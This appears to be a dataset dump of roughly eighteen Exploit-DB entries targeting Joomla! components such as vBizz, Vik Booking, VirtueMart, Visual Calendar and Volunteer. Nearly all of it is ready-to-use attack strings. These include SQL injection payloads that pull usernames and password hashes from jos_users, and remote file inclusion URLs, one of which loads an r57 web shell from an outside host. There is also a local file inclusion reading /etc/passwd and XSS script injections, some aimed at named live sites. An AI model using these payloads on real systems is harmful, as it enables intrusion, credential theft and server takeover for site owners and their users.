deardaniel/secdata-raw huggingface dataset:
Exploit-DB #46223
Description: Joomla! Component vBizz 1.0.7 - SQL Injection
Type: webapps
Platform: php
Date: 2019-01-23
Author: Ihsan Sencan

Exploit:
# Exploit Title: Joomla! Component vBizz 1.0.7 - SQL Injection
# Dork: N/A
# Date: 2019-01-23
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://wdmtech.com/
# Software Link: https://extensions.joomla.org/extensions/extension/marketing/crm/vbizz/
# Version: 1.0.7
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/index.php
# 

POST /[PATH]/index.php? HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 726
Cookie: 84c9f7083d1056c3a8f06ae659d3db0a=9t045qt6rjftqm53itf5uju310; joomla_user_state=logged_in
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
profile_pic=&name=test&username=test&password=&user_role=11&email=test@test.test&empid=1&department=5&designation=6&phone=&gender=1&blood_group=A%2B&dob=-1-11-30&present_address=&permanent_address=&joining_date=-1-11-30&work_type=permanent&payment_type=bank&pan=&pf_ac=0&bank_ac=0&bank_name=&bank_branch=&ifsc=&leaving_date=-1-11-30&amount[]=111.00&payid[]=7&amount[]=0.00&payid[]=8&amount[]=0.00&payid[]=9%20%20%41%4e%44%20%45%58%54%52%41%43%54%56%41%4c%55%45%28%32%32%2c%43%4f%4e%43%41%54%28%30%78%35%63%2c%76%65%72%73%69%6f%6e%28%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%31%3d%31%2c%31%29%29%29%2c%64%61%74%61%62%61%73%65%28%29%29%29%2d%2d%20%58&lastIncrement=7&option=com_vbizz&id=60&userid=60&task=apply&view=employee: undefined
HTTP/1.1 500 Internal Server Error
X-Powered-By: PHP/5.6.36
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Server: - Web acceleration by http://target/
X-Cacheable: NO: beresp.status
X-Cacheable-status: 500
Content-Length: 4278
Accept-Ranges: bytes
Date: Tue, 22 Jan 2019 21:10:53 GMT
X-Varnish: 561075451
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Exploit-DB #41428
Description: Joomla! Component VehicleManager 3.9 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-22
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component VehicleManager v3.9 - SQL Injection
# Google Dork: inurl:index.php?option=com_vehiclemanager
# Date: 22.02.2017
# Vendor Homepage: http://ordasoft.com/
# Software Buy: https://extensions.joomla.org/extensions/extension/vertical-markets/vehicles/vehiclemanager-basic/
# Demo: http://ordasvit.com/joomla-vehicle-manager/
# Version: 3.9
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_vehiclemanager&Itemid=70&task=search&submit=Search&catid=0&maker=&fuel_type=all&model=all&listing_type=all&transmission=all&vcondition=[SQL]
# http://localhost/[PATH]/index.php?option=com_vehiclemanager&Itemid=70&task=search&submit=Search&catid=0&maker=&fuel_type=all&model=all&listing_type=all&transmission=[SQL]
# http://localhost/[PATH]/index.php?option=com_vehiclemanager&Itemid=70&task=search&submit=Search&catid=0&maker=&fuel_type=all&model=all&listing_type=[SQL]
# http://localhost/[PATH]/index.php?option=com_vehiclemanager&Itemid=70&task=search&submit=Search&catid=0&maker=&fuel_type=all&model=[SQL]
# http://localhost/[PATH]/index.php?option=com_vehiclemanager&Itemid=70&task=search&submit=Search&catid=0&maker=&fuel_type=[SQL]
# http://localhost/[PATH]/index.php?option=com_vehiclemanager&Itemid=70&task=search&submit=Search&catid=0&maker=[SQL]
# # # # #
Exploit-DB #5989
Description: Joomla! Component versioning 1.0.2 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-07-01
Author: DarkMatter Crew

Exploit:
[+] Name    : Joomla Component com_versioning (id) Remote Sql Injection Vulnerability

[+] Team           : DarkMatter Crew

[+] Crew website       : WwW.SykoPainKilla.CoM

[+] Author         : SpK & His0k4

[+] Contact        : fatal.1.ty[at]hotmail.com[dot]com

[+] D0rk      : inurl:index.php?option=com_versioning



[+] Expl0iT :

http://sykopainkilla.com/index.php?option=com_versioning&task=edit&id=-83 UNION SELECT 1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 FROM jos_users--


#
#
#
#
############################################
                                           #
Visit our website www.sykopainkilla.com    #
                                           #
                                           #
#DarmMatter & SpK F0R3V3R                  #
                                           #
############################################
#
#
#
#


side note:
<name>versioning</name>
<creationDate>11.14.2006</creationDate>
<author>Thomas Papin</author>
<copyright>
This component is released under the GNU/GPL License.
</copyright>
<authorEmail>thomas.papin@free.fr</authorEmail>
<authorUrl>www.joomprod.com</authorUrl>
<version>1.0.2</version>

# milw0rm.com [2008-07-01]
Exploit-DB #41602
Description: Joomla! Component Vik Appointments 1.5 - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-15
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Joomla! Component Vik Appointments v1.5 - SQL Injection
# Google Dork: inurl:index.php?option=com_vikappointments
# Date: 15.03.2017
# Vendor Homepage: https://extensionsforjoomla.com/
# Software : https://extensionsforjoomla.com/livedemo/vikappointments/
# Demo: https://extensionsforjoomla.com/livedemo/vikappointments/
# Version: 1.5
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php/en/our-staff?view=employeeslist&ordering=6&filters[group]=[SQL]&filters[service]=[SQL]&filters[country]=[SQL]&filters[state]=[SQL]
# ext4joo_vikappointmentsj3demo
# Etc..
# # # # #
Exploit-DB #41326
Description: Joomla! Component Vik Booking 1.7 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-11
Author: Persian Hack Team

Exploit:
# Exploit Title: Joomla Component Vik Booking 1.7 - SQL Injection
# Date: 2017-02-11
# Home : https://extensions.joomla.org/extension/vik-booking/
# Exploit Author: Persian Hack Team
# Discovered by : Mojtaba MobhaM (kazemimojtaba@live.com)
# Home : http://persian-team.ir/
# Telegram Channel AND Demo: @PersianHackTeam
# Google Dork : inurl:index.php?option=com_vikbooking
# Tested on: Linux

# POC :
# room_ids[0] Parameter Vulnerable to SQL Injection
# http://www.Target.com/index.php?option=com_vikbooking&view=availability&room_ids[0]=[SQL]

# Greetz : T3NZOG4N & FireKernel & Milad Hacking And All Persian Hack Team Members
# Iranian white hat Hackers
Exploit-DB #36592
Description: Joomla! Component Vik Real Estate 1.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2012-01-21
Author: the_cyber_nuxbie

Exploit:
source: https://www.securityfocus.com/bid/51617/info

The 'com_sanpham' component for Joomla! is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_sanpham&view=sanpham&kindid=[SQLi]
http://www.example.com/index.php?option=com_sanpham&view=product&task=detail&modelsid=1&cid=[SQLi]
http://www.example.com/index.php?option=com_sanpham&view=product&modelsid=[SQLi]
http://www.example.com/index.php?option=com_sanpham&view=product&markid=1&modelsid=[SQLi]
Exploit-DB #18048
Description: Joomla! Component Vik Real Estate 1.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-10-29
Author: Chris Russell

Exploit:
###################################################################
Vik Real Estate 1.0 Component Joomla Multiple Blind Sql Injection
###################################################################

Release Date Bug.          27-Oct-2011
Date Added.                30-Sep-2011
Vendor Notification Date.  Never
Product.                   Vik Real Estate
Platform.                  Joomla
Affected versions.         1.0
Type.                      Commercial
Price.                     69.00
Attack Vector.             Blind Sql Injection
Solution Status.           unpublished
CVE reference.             Not yet assigned
Download                   http://www.extensionsforjoomla.com/vik-real-estate/joomla-extensions/vik-real-estate?vmcchk=1

I. BACKGROUND

Extension to manage real estates with details and description.
Main Functions:
- Manage Types of Contract (rental, selling, etc.)
- Condition of use (commercial, residential, etc.)
- Types of houses (apartment, villa, etc.)
- Manage Features (garden, garage, pool, etc. with icons)
- Manage States/Cities and Areas (New York City, Soho. Florence, Airport etc.)
Add real estates with description and images.
Search module included.

II. DESCRIPTION

Two vulnerabilities have been discovered in Vik Real Estate, joomla component,
the 2 vulnerabilities are blind injections (boolean-based time-based blind & blind)

The parameters affected are:
contract
imm

III. EXPLOITATION


parameter [contract]:

//index.php?option=com_vikrealestate&act=results&contract=1' AND 1=1 AND '666'='666&adibit=1&prov=1&area=_any&pricemin=_any&pricemax=_any&mqmin=0&mqmax=_any&type=_any&gores=Search

parameter [imm]:

//index.php?option=com_vikrealestate&act=show&imm=3' AND 1=1 AND '666'='666



Discovered by.
Chris Russell
Exploit-DB #41604
Description: Joomla! Component Vik Rent Car 1.11 - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-15
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Joomla! Component Vik Rent Car v1.11 - SQL Injection
# Google Dork: inurl:index.php?option=com_vikrentcar
# Date: 15.03.2017
# Vendor Homepage: https://extensionsforjoomla.com/
# Software : https://extensionsforjoomla.com/components-modules/vik-rent-car-e4j
# Demo: https://extensionsforjoomla.com/livedemo/vikrentcar/
# Version: 1.11
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php/en/?option=com_vikrentcar&caropt=[SQL]&days=31&pickup=[PII_REDACTED]&release=[PII_REDACTED]&place=[SQL]&task=showprc&Itemid=104
# ext4joo_vikrentcarj3demo
# Etc..
# # # # #
Exploit-DB #41603
Description: Joomla! Component Vik Rent Items 1.3 - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-15
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Joomla! Component Vik Rent Items v1.3 - SQL Injection
# Google Dork: inurl:index.php?option=com_vikrentitems
# Date: 15.03.2017
# Vendor Homepage: https://extensionsforjoomla.com/
# Software : https://extensionsforjoomla.com/components-modules/vik-rent-items-e4j
# Demo: https://extensionsforjoomla.com/livedemo/vikrentitems/
# Version: 1.3
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php/en/?option=com_vikrentitems&task=showprc&itemopt=[SQL]&days=2&pickup=[PII_REDACTED]&release=[PII_REDACTED]&place=[SQL]&Itemid=132
# ext4joo_vikrentitemsj3demo
# Etc..
# # # # #
Exploit-DB #6975
Description: Joomla! Component VirtueMart Google Base 1.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-11-04
Author: NoGe

Exploit:
================================================================================================================================


[o] VirtueMart Google Base Component 1.1 Remote File Inclusion Vulnerability

       Software : com_googlebase version 1.1
       Vendor   : www.e-commerce-solution.co.uk
       Download : http://www.joomlahacks.com/   [free download]
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com


================================================================================================================================


  [o] Vulnerable file

       administrator/components/com_googlebase/admin.googlebase.php

        include( $mosConfig_absolute_path.'/administrator/components/com_virtuemart/virtuemart.cfg.php' );



  [o] Exploit

       http://localhost/[path]/administrator/components/com_googlebase/admin.googlebase.php?mosConfig_absolute_path=[evilcode]


================================================================================================================================


  [o] Greetz

       MainHack BrotherHood [ http://serverisdown.org/blog/]
       Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 loqsa
       H312Y yooogy mousekill }^-^{ kaka11  martfella
       skulmatic olibekas ulga Cungkee k1tk4t str0ke

        
================================================================================================================================

# milw0rm.com [2008-11-04]
Exploit-DB #28719
Description: Joomla! Component VirtueMart Joomla! eCommerce Edition 1.0.11 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2006-09-27
Author: Adrian Castro

Exploit:
source: https://www.securityfocus.com/bid/20236/info

VirtueMart Joomla eCommerce Edition is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker can exploit these issues to execute arbitrary HTML and script code in the browser of a victim user in the context of the affected website. This may allow the attacker to steal cookie-based authentication credentials, to control how the site is rendered to the user, and to launch other attacks.

VirtueMart Joomla eCommerce Edition version 1.0.11 is vulnerable; earlier versions may also be vulnerable.

GET: http://www.example.com/index.php
option=com_contact&Itemid="><script>alert('XSS');</script>
POST: http://www.example.com/index.php
subscriber_name=1&email=1&task=subscribe&Itemid="><script>alert('XSS');</script>
Exploit-DB #31708
Description: Joomla! Component Visites 1.1 - MosConfig_absolute_path Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-04-26
Author: NoGe

Exploit:
source: https://www.securityfocus.com/bid/28942/info

The Visites component for Joomla! is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Visites 1.1 RC2 is vulnerable; other versions may also be affected.

http://www.example.com/administrator/components/com_joomla-visites/core/include/myMailer.class.php?mosConfig_absolute_path=[evilcode]
Exploit-DB #14476
Description: Joomla! Component Visites 1.1 RC2 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-07-26
Author: Li0n-PaL

Exploit:
==========================================================
Joomla Component(com_joomla-visites) RFI
===========================================================
 
                                          Pal-Li0ns Cr3w , HacKTeach LoverzZ
                                                                                          
+===================================================================================+
[?]Joomla Component(com_joomla-visites) RFI
+===================================================================================+
    [?] My home:              [HacKTeach.org & Pal-Li0ns.com           ]
    [?] For Ask:              [F5w@hotmail.com                         ]
    [?] Script:               [     joomla                             ]
    [?] home Script           [ http://www.joomla.it                   ]
    [?] Language:             [ PHP                                    ]
    [?] Founder:              [ Li0n-PaL                               ]
    [?] Greatz to:            [ Pal-Li0n - Red-D3v1L - ShaDow-D3v1L - Cold-z3ro - storm - Mr.NJ -]
 
===[ Exploit  ]===
http://localhost//administrator/components/com_joomla-visites/core/include/myMailer.class.php?mosConfig_absolute_path=[shell.txt?]
 
DeMo ~
 
http://www.site.com//administrator/components/com_joomla-visites/core/include/myMailer.class.php?mosConfig_absolute_path=http://www.site.com/r57.txt?
 
 
EnJoY o_O
 
---------------------------------------------------------
 
./exit
Exploit-DB #43933
Description: Joomla! Component Visual Calendar 3.1.3 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2018-01-30
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Joomla! Component Visual Calendar 3.1.3 - SQL Injection
# Dork: N/A
# Date: 30.01.2018
# Vendor Homepage: http://www.joomlacalendars.com/
# Software Link: https://extensions.joomla.org/extensions/extension/calendars-a-events/events/visual-calendar/
# Version: 3.1.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-6395
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_visualcalendar&view=load&id=[SQL]
# 
# -1%20%20/*!06666UNION*/%20/*!06666SELECT*/%20(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x)%2c0x32%2c0x33%2c0x34%2c0x35%2c0x36%2d%2d%20%2d
# 
# -1%20%20/*!06666UNION*/%20/*!06666SELECT*/%201%2c0x32%2c(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x)%2c0x34%2c0x35%2c0x36%2d%2d%20%2d
# 
# Parameter: id (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: r=0[PII_REDACTED]6720915&option=com_visualcalendar&view=load&id=1 AND 2616=2616
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: r=0[PII_REDACTED]6720915&option=com_visualcalendar&view=load&id=1 AND SLEEP(5)
# 
#     Type: UNION query
#     Title: Generic UNION query (NULL) - 6 columns
#     Payload: r=0[PII_REDACTED]6720915&option=com_visualcalendar&view=load&id=1 UNION ALL SELECT CONCAT(0x716a627a71,0x586a6c7676787a6f684c[PII_REDACTED]4b7955784a47534d[PII_REDACTED]4a53716d6b57434f6141536c,0x71786b6a71),NULL,NULL,NULL,NULL,NULL-- QpYd
# 
# # # # #
Exploit-DB #12102
Description: Joomla! Component VJDEO 1.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-07
Author: Angela Zhang

Exploit:
(o)=====================================================================================(o)

                              Joomla Component VJDEO 1.0 LFI Vulnerability


                Vendor   : http://www.joomla.ternaria.com/
                Author    : Angela Zhang
                Contact  : mizz_4ng3l@yahoo.com
                Date        :  07 - April - 2010

(o)======================================================================================(o)



     [o] Exploit
 
       http://localhost/[path]/index.php?option=com_vjdeo&controller=[LFI]
 
 
    [o] PoC
 
       http://localhost/index.php?option=com_vjdeo&controller=../../../../../../../../../../../../../../../etc/passwd%00



(o)===========================================================================================(o)

Greetz   :   -:-  3SomeCrew  -:-

     Nyubi (Solpot) , Vrs-hCk , OoN_BoY , NoGe , Paman , zxvf ,   home_edition2001   ,   mywisdom , s4va, 
     Winda Slovski , stardustmemory, wishnusakti, Xco Nuxco , Cakill Schumbag, dkk
     


(o)===========================================================================================(o)
Exploit-DB #46229
Description: Joomla! Component VMap 1.9.6 - SQL Injection
Type: webapps
Platform: php
Date: 2019-01-23
Author: Ihsan Sencan

Exploit:
# Exploit Title: Joomla! Component VMap 1.9.6 - SQL Injection
# Dork: N/A
# Date: 2019-01-23
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://wdmtech.com/
# Software Link: https://extensions.joomla.org/extensions/extension/maps-a-weather/maps-a-locations/vmap/
# Version: 1.9.6
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/index.php?option=com_vmap&task=loadmarker&latlngbound=[SQL]&mapid=1
# 

GET /[PATH]/index.php?option=com_vmap&task=loadmarker&latlngbound=-40[PII_REDACTED]88596,40[PII_REDACTED]9145,-73[PII_REDACTED]48,-73[PII_REDACTED]52%20%4f%72%64%65%72%20%62%79%20%31%32%2d%2d%20%2d&mapid=1 HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: 1b9dcd66a46474552f38b0164f24ac07=1dc22d621aab1d9d01c05431e9b453b3; currentURI=http%3A%2F%2Flocalhost%2Fjomsocial-profile-layout%2F709-john-dev%2Ffriends%3Fq%3D%2527%26search%3Dfriends%26option%3Dcom_community%26view%3Dfriends%26Itemid%3D526
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 500 XPATH syntax error:...
Date: Tue, 22 Jan 2019 21:16:19 GMT
Server: Apache
X-Powered-By: PHP/5.6.16
X-Logged-In: False
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Cache-Control: no-cache
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Exploit-DB #7546
Description: Joomla! Component Volunteer 2.0 - SQL Injection
Type: webapps
Platform: php
Date: 2008-12-22
Author: boom3rang

Exploit:
#############################################################
Joomla Component com_volunteer(job_id) SQL-injection
#############################################################


###################################################
#[~] Author  :   boom3rang 
#[~] Site    :   www.khg-crew.ws
#[~] Greetz  :   H!tm@N, KHG, chs, redc00de, pr0xy-ki11er, LiTTle-Hack3r, L1RIDON1.
----------------------------------------
#[!] <name>Volunteer</name>
#[!] <creationDate>05.04.2007</creationDate>
#[!] <author>John Pan</author>
#[!] <authorEmail>johnpanq@sina.com</authorEmail>
#[!] <version>2.0</version>
###################################################

Example:
http://localhost/Path/index.php?option=com_volunteer&task=jobs&act=jobshow&Itemid=29&orgs_id=3&job_id=[exploit]

Exploit:
-9999+union+all+select+concat(username,char(58),password),2,3,4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20+from+jos_users--

LiveDEMO:
http://demolegacy.joomlaapps.com/index.php?option=com_volunteer&task=jobs&act=jobshow&Itemid=29&orgs_id=3&job_id=-9999+union+all+select+concat(username,char(58),password),2,3,4,5,6,7,8,9,0,11,12,13,14,15,16,17,18,19,20+from+jos_users--&filter=&city_id=&function_id=&limit=5&pageno=1

##############################
#[!] Proud 2 be Albanian
#[!] Proud 2 be Muslim
#[!] United States of Albania
##############################

# milw0rm.com [2008-12-22]